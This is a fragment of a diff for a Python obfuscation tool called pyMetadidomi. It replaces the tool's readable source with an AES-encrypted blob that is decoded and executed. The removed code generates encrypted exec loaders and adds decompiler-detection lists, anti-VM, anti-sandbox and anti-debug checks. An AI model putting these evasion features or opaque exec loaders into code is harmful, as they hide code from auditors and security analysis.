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")
+    key = base64.b64decode("780fDqalZYQUTfRHwCxgg5XmYt4iTCng5PTyF7kJqc4=")
+    iv = base64.b64decode("etnrm57IfOVk5QMj/Bo5ag==")
+    def unpad(data):
+        return data[:-data[-1]]
     cipher = AES.new(key, AES.MODE_CBC, iv)
-    encrypted = cipher.encrypt(pad(compressed))
-    b64 = base64.b64encode(encrypted).decode('ascii')
-    b64_key = base64.b64encode(key).decode('ascii')
-    b64_iv = base64.b64encode(iv).decode('ascii')
-    
-    # Générer le loader (natif si disponible, sinon fallback AES Python)
-    if pymloader_bin and pymloader_bin.exists():
-        loader = (
-            '# --- Loader natif par pyMetadidomi (pymloader) ---\n'
-            'import base64, zlib, marshal\n'
-            'from Crypto.Cipher import AES\n'
-            'try:\n'
-            '    import pymloader\n'
-            '    payload = base64.b64decode("{}")\n'
-            '    key = base64.b64decode("{}")\n'
-            '    iv = base64.b64decode("{}")\n'
-            '    def unpad(data):\n'
-            '        return data[:-data[-1]]\n'
-            '    cipher = AES.new(key, AES.MODE_CBC, iv)\n'
-            '    decrypted = unpad(cipher.decrypt(payload))\n'
-            '    bytecode = zlib.decompress(decrypted)\n'
-            '    pymloader.exec_bytecode(bytecode)\n'
-            'except ImportError:\n'
-            '    bytecode = zlib.decompress(decrypted)\n'
-            '    code = marshal.loads(bytecode)\n'
-            '    exec(code)\n'
-            '# --- Fin du loader natif ---\n'
-        ).format(b64, b64_key, b64_iv)
-    else:
-        # Fallback : loader AES Python pur (sans module natif)
-        loader = (
-            '# --- Loader AES Python par pyMetadidomi (fallback) ---\n'
-            'import base64, zlib, marshal\n'
-            'from Crypto.Cipher import AES\n'
-            f'payload = base64.b64decode("{b64}")\n'
-            f'key = base64.b64decode("{b64_key}")\n'
-            f'iv = base64.b64decode("{b64_iv}")\n'
-            'def unpad(data):\n'
-            '    return data[:-data[-1]]\n'
-            'cipher = AES.new(key, AES.MODE_CBC, iv)\n'
-            'decrypted = unpad(cipher.decrypt(payload))\n'
-            'bytecode = zlib.decompress(decrypted)\n'
-            'code = marshal.loads(bytecode)\n'
-            'exec(code)\n'
-            '# --- Fin du loader AES ---\n'
-        )
-    return loader
-
-def anti_decompile_protection(code):
-    """Protection contre les décompilateurs courants"""
-    
-    protection = """
-import sys
-
-# Protection contre les décompilateurs spécifiques
-def detect_decompiler():
-    # Modules dangereux connus (décompilateurs réels)
-    decompiler_modules = [
-        'uncompyle6', 'decompyle3', 'pycdc', 'pycdas', 'xdis'
-    ]
-    
-    for module in decompiler_modules:
-        if module in sys.modules:
-            return True
-    
-    # Vérification des noms de processus
-    try:
-        import psutil
-        decompiler_processes = ['uncompyle', 'decompyle', 'pycdc', 'xdis', 'decompiler']
-        for proc in psutil.process_iter(['name']):
-            if any(name in proc.info['name'].lower() for name in decompiler_processes):
-                return True
-    except:
-        pass
-    
-    return False
-
-if detect_decompiler():
-    try:
-        import tkinter as tk
-        from tkinter import messagebox
-        root = tk.Tk()
-        root.withdraw()
-        messagebox.showerror("Sécurité", "Décompilation détectée")
-        root.destroy()
-    except:
-        print("Décompilation détectée")
-    sys.exit(1)
-"""
-    return protection + code
-
-class Encryption:
-    # Classe pour chiffrer/déchiffrer le code avec AES
-
-    def __init__(self, key): 
-        self.bs = AES.block_size
-        self.key = hashlib.sha256(key).digest()
-
-    def encrypt(self, raw):
-        # Chiffre une ligne de code
-        try:
-            # S'assurer que raw est une string
-            if not isinstance(raw, str):
-                raw = str(raw)
-            
-            # Convertir en bytes d'abord, puis appliquer le padding
-            raw_bytes = raw.encode('utf-8')
-            raw_padded = self._pad_bytes(raw_bytes)
-            
-            # Générer IV et chiffrer
-            iv = Random.new().read(AES.block_size)
-            cipher = AES.new(self.key, AES.MODE_CBC, iv)
-            
-            # Chiffrer les données
-            encrypted_data = cipher.encrypt(raw_padded)
-            
-            # Retourner en base64
-            return base64.b64encode(iv + encrypted_data).decode('utf-8')
-        except Exception as e:
-            try:
-                import tkinter as tk
-                from tkinter import messagebox
-                root = tk.Tk()
-                root.withdraw()
-                messagebox.showerror("Erreur Chiffrement", f"Erreur lors du chiffrement: {e}\nLongueur: {len(raw)}")
-                root.destroy()
-            except:
-                print(f"Erreur lors du chiffrement: {e}")
-                print(f"Longueur des données: {len(raw)}")
-            return ""
-
-    def _pad_bytes(self, s):
-        # Ajoute du padding PKCS7 à des bytes
-        padding_length = self.bs - len(s) % self.bs
-        if padding_length == 0:
-            padding_length = self.bs
-        padding = bytes([padding_length]) * padding_length
-        return s + padding
-
-    def write(self, key, source):
-        # Écrit le code chiffré dans un format lisible avec décrypteur embarqué
-        wall = "__PYMETADIDOMI_ENCRYPTED__" * 25
-        newcode = f"{wall}{key}{wall}"
-        
-        # Vérifier que source est une string
-        if not isinstance(source, str):
-            source = str(source)
-            
-        for line in source.split("\n"):
-            encrypted_line = self.encrypt(line)
-            if encrypted_line:  # Vérifier que le chiffrement a réussi
-                newcode += encrypted_line + wall
-        
-        # Décrypteur embarqué (obfusqué et intégré)
-        decryptor = """
-import base64, hashlib, os, subprocess, tempfile, sys, re, json, datetime
-from Crypto.Cipher import AES
-
-class PyMetadidomi:
-    def __init__(self, key):
-        self.bs = AES.block_size
-        self.key = hashlib.sha256(key).digest()
-    
-    def decrypt(self, enc):
-        try:
-            enc = base64.b64decode(str(enc))
-            iv = enc[:AES.block_size]
-            cipher = AES.new(self.key, AES.MODE_CBC, iv)
-            decrypted = cipher.decrypt(enc[AES.block_size:])
-            return self._unpad(decrypted).decode('utf-8')
-        except:
-            return ""
-    
-    def remove_protections(self, src):
-        protections = [
-            r'import ctypes, sys\\s*if not ctypes\\.windll\\.shell32\\.IsUserAnAdmin.*?(?=\\ndef|\\nclass|\\n\\n|\\Z)',
-            r'def detect_vm\\(\\):.*?return any\\(vm_indicators\\)',
-            r'def detect_debugger\\(\\):.*?return False',
-            r'def detect_sandbox\\(\\):.*?return False',
-            r'def detect_decompiler\\(\\):.*?sys\\.exit\\(1\\)',
-            r'def execution_timeout\\(\\):.*?return decorator',
-        ]
-        for pattern in protections:
-            src = re.sub(pattern, '', src, flags=re.DOTALL | re.MULTILINE)
-        return src
-    
-    def remove_dead_code(self, src):
-        lines = src.split('\\n')
-        filtered_lines = []
-        for line in lines:
-            if not re.match(r'\\s*(def unused_func_|def dummy_calc_|temp_var_|unused_data_|complex_obj_|class FakeClass)', line):
-                filtered_lines.append(line)
-        return '\\n'.join(filtered_lines)
-    
-    @staticmethod
-    def _unpad(s):
-        try:
-            padding_length = s[-1]
-            if padding_length < 1 or padding_length > AES.block_size:
-                return s
-            if s[-padding_length:] != bytes([padding_length]) * padding_length:
-                return s
-            return s[:-padding_length]
-        except:
-            return s
-
-def _pymetadidomi_load():
-    try:
-        with open(__file__, "r", encoding='utf-8') as f:
-            obfcode = f.read()
-        
-        start_marker = "'''\\n"
-        end_marker = "\\n'''"
-        
-        if start_marker not in obfcode or end_marker not in obfcode:
-            return
-            
-        start_index = obfcode.find(start_marker) + len(start_marker)
-        end_index = obfcode.find(end_marker, start_index)
-        encrypted_content = obfcode[start_index:end_index]
-        
-        wall = "__PYMETADIDOMI_ENCRYPTED__" * 25
-        parts = [part for part in encrypted_content.split(wall) if part.strip()]
-        
-        if len(parts) < 2:
-            return
-            
-        key = parts[0].encode()
-        encrypted_parts = parts[1:]
-
-        pymetadidomi = PyMetadidomi(key)
-        src = ""
-        
-        for encrypted_part in encrypted_parts:
-            if encrypted_part.strip():
-                decrypted_line = pymetadidomi.decrypt(encrypted_part)
-                if decrypted_line:
-                    src += decrypted_line + "\\n"
-        
-        src = pymetadidomi.remove_protections(src)
-        src = pymetadidomi.remove_dead_code(src)
-        src = re.sub(r'import (uncompyle6|decompyle3|pycdc|pycdas|xdis|meta|psutil)\\n', '', src)
-        src = re.sub(r'from (uncompyle6|decompyle3|pycdc|pycdas|xdis|meta|psutil) import.*?\\n', '', src)
-        src = re.sub(r'\\n\\n+', '\\n\\n', src)
-        src = re.sub(r'encrypted_code = .*?\\n', '', src)
-        
-        tmp = tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.py', encoding='utf-8')
-        tmp.write(src)
-        tmp.flush()
-        tmp.close()
-        
-        p = subprocess.Popen([sys.executable, tmp.name])
-        p.wait()
-        os.unlink(tmp.name)
-        
-    except:
-        pass
-
-_pymetadidomi_load()
-"""
-        
-        code = f"{decryptor}\n'''\n{newcode}\n'''"
-        return code
-
-
-banner = f"""
-
-
-
-                         ____        ___  _      _            _ _     _                 _ 
-                        |  _ \ _   _|  \/  | ___| |_ __ _  __| (_) __| | ___  _ __ __ _(_)
-                        | |_) | | | | |\/| |/ _ \ __/ _` |/ _` | |/ _` |/ _ \| '_ ` _ \| |
-                        |  __/| |_| | |  | |  __/ || (_| | (_| | | (_| | (_) | | | | | | |
-                        |_|    \__, |_|  |_|\___|\__\__,_|\__,_|_|\__,_|\___/|_| |_| |_|_|
-                               |___/  Coder c'est bien; protéger c'est mieux !
-
-
-        {white(f"[>] Exécution avec Python {sys.version_info[0]}.{sys.version_info[1]}.{sys.version_info[2]}")}
-        
-"""
-
-def parse_cli_args():
-    """Parse les arguments CLI pour le mode batch"""
-    parser = argparse.ArgumentParser(
-        description="pyMetadidomi - Protection et obfuscation de code Python",
-        formatter_class=argparse.RawDescriptionHelpFormatter,
-        epilog="""
-Exemples d'utilisation:
-  python pyMetadidomi.py script.py                           # Mode interactif
-  python pyMetadidomi.py script.py --carbon                  # Obfuscation uniquement
-  python pyMetadidomi.py script.py --medium-protection       # Protection moyenne
-  python pyMetadidomi.py script.py --heavy-protection        # Protection maximale
-  python pyMetadidomi.py script.py --carbon --junk --bugs    # Protection personnalisée
-        """
-    )
-    
-    parser.add_argument('file', nargs='?', help='Fichier Python à protéger')
-    
-    # Options individuelles
-    parser.add_argument('--carbon', action='store_true', help='Obfuscation du code (renommage)')
-    parser.add_argument('--junk', action='store_true', help='Générer du code parasite')
-    parser.add_argument('--bugs', action='store_true', help='Anti-débogage')
-    parser.add_argument('--dead-code', action='store_true', help='Générer du code mort')
-    parser.add_argument('--dead-code-complexity', type=int, default=10, help='Complexité du code mort (1-10, défaut: 10)')
-    parser.add_argument('--time-prot', action='store_true', help='Protection temporelle')
-    parser.add_argument('--expiration', type=int, default=2026, help='Année d\'expiration (défaut: 2026)')
-    parser.add_argument('--anti-vm', action='store_true', help='Détection VM & Sandbox')
-    parser.add_argument('--anti-reverse', action='store_true', help='Anti-reverse engineering')
-    parser.add_argument('--anti-decompile', action='store_true', help='Anti-décompilation')
-    parser.add_argument('--multi-encrypt', action='store_true', help='Chiffrement multi-couches')
-    parser.add_argument('--encrypt', action='store_true', help='Chiffrement simple')
-    
-    # Presets
-    parser.add_argument('--light-protection', action='store_true', help='Protection légère (carbon + junk)')
-    parser.add_argument('--medium-protection', action='store_true', help='Protection moyenne (carbon + junk + bugs + dead-code)')
-    parser.add_argument('--heavy-protection', action='store_true', help='Protection lourde (toutes les protections)')
-    
-    parser.add_argument('--output', '-o', help='Fichier de sortie (défaut: script-obf.py)')
-    parser.add_argument('--compile', action='store_true', help='Compiler en EXE après obfuscation')
-    
-    return parser.parse_args()
-
-def process_file_cli(args):
-    """Traite un fichier en mode CLI"""
-    file = args.file
-    
-    if not os.path.exists(file):
-        print(red(f"        [!] Erreur : Le fichier '{file}' n'existe pas"))
-        sys.exit(1)
-    
-    # Déterminer les protections à appliquer
-    carbonate = args.carbon
-    junk = args.junk
-    bug = args.bugs
-    dead_code = args.dead_code
-    anti_vm = args.anti_vm
-    anti_reverse = args.anti_reverse
-    anti_decompile = args.anti_decompile
-    multi_encrypt = args.multi_encrypt
-    encrypt = args.encrypt
-    time_prot = args.time_prot
-    expiration_year = args.expiration
-    dead_code_complexity = args.dead_code_complexity
-    compile_exe = args.compile
-    
-    # Gérer les presets
-    if args.light_protection:
-        carbonate = True
-        junk = True
-    
-    if args.medium_protection:
-        carbonate = True
-        junk = True
-        bug = True
-        dead_code = True
-    
-    if args.heavy_protection:
-        carbonate = True
-        junk = True
-        bug = True
-        dead_code = True
-        time_prot = True
-        anti_vm = True
-        anti_reverse = True
-        anti_decompile = True
-        multi_encrypt = True
-    
-    print(blue_royal(banner), end="")
-    print(blue(f"\n        [>] Traitement du fichier: {file}"))
-    
-    # Charger le code source
-    with open(file, "r", encoding='utf-8') as f:
-        src = f.read()
-    
-    key = base64.b64encode(os.urandom(32)).decode()
-    
-    # Appliquer les protections dans l'ordre
-    if junk:
-        print("        [>] Ajout de code parasite...")
-        src = anubis(src)
-    
-    if bug:
-        print("        [>] Ajout d'anti-débogage...")
-        src = bugs(src)
-    
-    if dead_code:
-        print("        [>] Génération de code mort...")
-        src = generate_dead_code(dead_code_complexity) + src
-    
-    if time_prot:
-        print(f"        [>] Protection temporelle (expiration: {expiration_year})...")
-        src = time_protection(src, expiration_year=expiration_year)
-    
-    if anti_vm or anti_reverse:
-        print("        [>] Ajout d'anti-VM et anti-reverse...")
-        src = advanced_anti_analysis(src)
-    
-    if anti_decompile:
-        print("        [>] Protection anti-décompilation...")
-        src = anti_decompile_protection(src)
-    
-    if multi_encrypt:
-        print("        [>] Chiffrement multi-couches...")
-        encryption = MultiLayerEncryption([key, key[:16], key[:8]])
-        src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
-    
-    if carbonate:
-        print("        [>] Obfuscation du code...")
-        src, renamed_count = carbon(src)
-    
-    if encrypt:
-        print("        [>] Minification irréversible...")
-        src = minify_irreversible(src)
-    
-    # Déterminer le dossier temporaire à la racine du projet utilisateur
-    import os
-    # On suppose que le projet utilisateur est la racine du workspace
-    project_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..'))
-    temp_dir = os.path.join(project_root, "temp_protected")
-    os.makedirs(temp_dir, exist_ok=True)
-    output_file = os.path.join(temp_dir, os.path.basename(file))
-    # Si l'utilisateur a précisé --output, on l'utilise dans le dossier temporaire
-    if args.output:
-        output_file = os.path.join(temp_dir, os.path.basename(args.output))
-    # Écrire le fichier obfusqué dans le dossier temporaire
-    with open(output_file, "w", encoding='utf-8') as f:
-        f.write(src)
-    
-    print(blue(f"\n        [>] Code obfusqué avec succès → {output_file}\n"))
-    
-    # Compilation optionnelle
-    if compile_exe and not encrypt:
-        compile = True
-        print("        [>] Compilation en EXE...")
-        # Appeler le packaging complet build.py
-        build_py_path = os.path.join(os.path.dirname(__file__), '..', 'builder.py')
-        basic_params = [sys.executable, build_py_path, "--app-src", os.path.dirname(output_file), "--output", output_file[:-3] + '.exe', "--app-name", os.path.basename(output_file)[:-3]]
-        p = subprocess.Popen(basic_params, shell=True, cwd=os.getcwd())
-        print(red("        [!] La compilation en exe peut prendre un certain temps...\n"))
-        p.wait()
-        exe_name = output_file[:-3] + '.exe'
-        print(blue(f"\n        [>] Code compilé avec succès → {exe_name}"))
-    
-    print(blue("        [>] Terminé!"))
-
-def main_interactive():
-    """Mode interactif classique"""
-    clear()
-    print(blue_royal(banner), end="")
-    while True:
-        file = input(purple("        [>] Entrez le fichier python à obfusquer [script.py] : ") + "\033[38;2;148;0;230m")
-        if not os.path.exists(file):
-            print(red("        [!] Erreur : Ce fichier n'existe pas"), end="")
-        else:
-            break
-
-    carbonate = False
-    junk = False
-    bug = False
-    anti_vm = False
-    anti_reverse = False
-    dead_code = False
-    time_prot = False
-    multi_encrypt = False
-    anti_decompile = False
-
-    while True:
-        ans = input(purple("        [>] Anti-débogage [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            bug = True
-            break
-        elif ans == "n":
-            bug = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-    
-    while True:
-        ans = input(purple("        [>] Code inutile [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            junk = True
-            break
-        elif ans == "n":
-            junk = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-    
-    while True:
-        ans = input(purple("        [>] Détection de VM & Sandbox [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            anti_vm = True
-            break
-        elif ans == "n":
-            anti_vm = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Protection anti-reverse engineering [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            anti_reverse = True
-            break
-        elif ans == "n":
-            anti_reverse = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Code mort [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            dead_code = True
-            break
-        elif ans == "n":
-            dead_code = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    expiration_year = 2025
-    while True:
-        ans = input(purple("        [>] Protection basée sur le temps [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            time_prot = True
-            # Demander la date d'expiration
-            while True:
-                try:
-                    expiration_year = int(input(purple("        [>] Année d'expiration (ex: 2026) : ") + "\033[38;2;148;0;230m"))
-                    if expiration_year > 2025:
-                        break
-                    else:
-                        print(red("        [!] Erreur : L'année doit être supérieure à 2025"), end="")
-                except ValueError:
-                    print(red("        [!] Erreur : Veuillez entrer un nombre entier"), end="")
-            break
-        elif ans == "n":
-            time_prot = False
-            expiration_year = 2025
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Chiffrement multi-couches [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            multi_encrypt = True
-            break
-        elif ans == "n":
-            multi_encrypt = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Protection anti-décompilation [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            anti_decompile = True
-            break
-        elif ans == "n":
-            anti_decompile = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Renommer Classe, Fonctions, Variables & Paramètres [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            carbonate = True
-            break
-        elif ans == "n":
-            carbonate = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-
-    encrypt = False
-    loader_integrated = False
-    while True:
-        ans = input(purple("        [>] Minification irréversible [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            encrypt = True
-            break
-        elif ans == "n":
-            encrypt = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    while True:
-        ans = input(purple("        [>] Intégrer le loader dans le code [o/n] : ") + "\033[38;2;148;0;230m").lower()
-        if ans == "o":
-            loader_integrated = True
-            break
-        elif ans == "n":
-            loader_integrated = False
-            break
-        else:
-            print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-    print(" ")
-    key = base64.b64encode(os.urandom(32)).decode()
-    with open(file, "r", encoding='utf-8') as f:
-        src = f.read()
-
-    # Appliquer les protections dans le même ordre que le mode CLI
-    if junk:
-        print("        [>] Ajout de code parasite...")
-        src = anubis(src)
-    if bug:
-        print("        [>] Ajout d'anti-débogage...")
-        src = bugs(src)
-    if dead_code:
-        print("        [>] Génération de code mort...")
-        src = generate_dead_code(15) + src
-    if time_prot:
-        print(f"        [>] Protection temporelle (expiration: {expiration_year})...")
-        src = time_protection(src, expiration_year=expiration_year)
-    if anti_vm or anti_reverse:
-        print("        [>] Ajout d'anti-VM et anti-reverse...")
-        src = advanced_anti_analysis(src)
-    if anti_decompile:
-        print("        [>] Protection anti-décompilation...")
-        src = anti_decompile_protection(src)
-    if multi_encrypt:
-        print("        [>] Chiffrement multi-couches...")
-        encryption = MultiLayerEncryption([key, key[:16], key[:8]])
-        src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
-    if carbonate:
-        print("        [>] Obfuscation du code...")
-        src, renamed_count = carbon(src)
-    if encrypt:
-        print("        [>] Minification irréversible...")
-        src = minify_irreversible(src)
-    if loader_integrated:
-        print("        [>] Intégration du loader dans le code...")
-        src = protect_with_loader(src)
-
-    name = f"{file[:-3]}-obf.py"
-    with open(name, "w", encoding='utf-8') as f:
-        f.write(src)
-
-    print(blue(f"\n        [>] Code a été obfusqué avec succès @ {name}"), end="")
-    
-    # Copier pymloader.pyd si loader_integrated et le fichier existe
-    if loader_integrated:
-        import pathlib
-        import shutil
-        loader_dir = pathlib.Path(__file__).parent
-        pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
-        pymloader_bin = loader_dir / pymloader_ext
-        if pymloader_bin.exists():
-            output_dir = os.path.dirname(name) or '.'
-            dest_pymloader = os.path.join(output_dir, pymloader_ext)
-            shutil.copy2(str(pymloader_bin), dest_pymloader)
-            print(blue(f", avec {pymloader_ext} dans le même dossier"), end="")
-
-    if encrypt == False:
-        compile = False
-        while True:
-            ans = input(purple("        [>] Voulez-vous compiler en exe [o/n] : ") + "\033[38;2;148;0;230m").lower()
-            if ans == "o":
-                compile = True
-                break
-            elif ans == "n":
-                compile = False
-                break
-            else:
-                print(red(f"        [!] Erreur : Option invalide [o/n]"), end="")
-
-        if compile == True:
-            print("        [>] Compilation en EXE...")
-            # Appeler le packaging complet build.py 
-            build_py_path = os.path.join(os.path.dirname(__file__), '..', 'builder.py')
-            basic_params = [sys.executable, build_py_path, "--app-src", os.path.dirname(name), "--output", name[:-3] + '.exe', "--app-name", os.path.basename(name)[:-3]]
-            p = subprocess.Popen(basic_params, shell=True, cwd=os.getcwd())
-            print(red("\n        [!] La compilation en exe peut prendre un certain temps\n        [!] Information du Builder:\n\n"), end="")
-            p.wait()
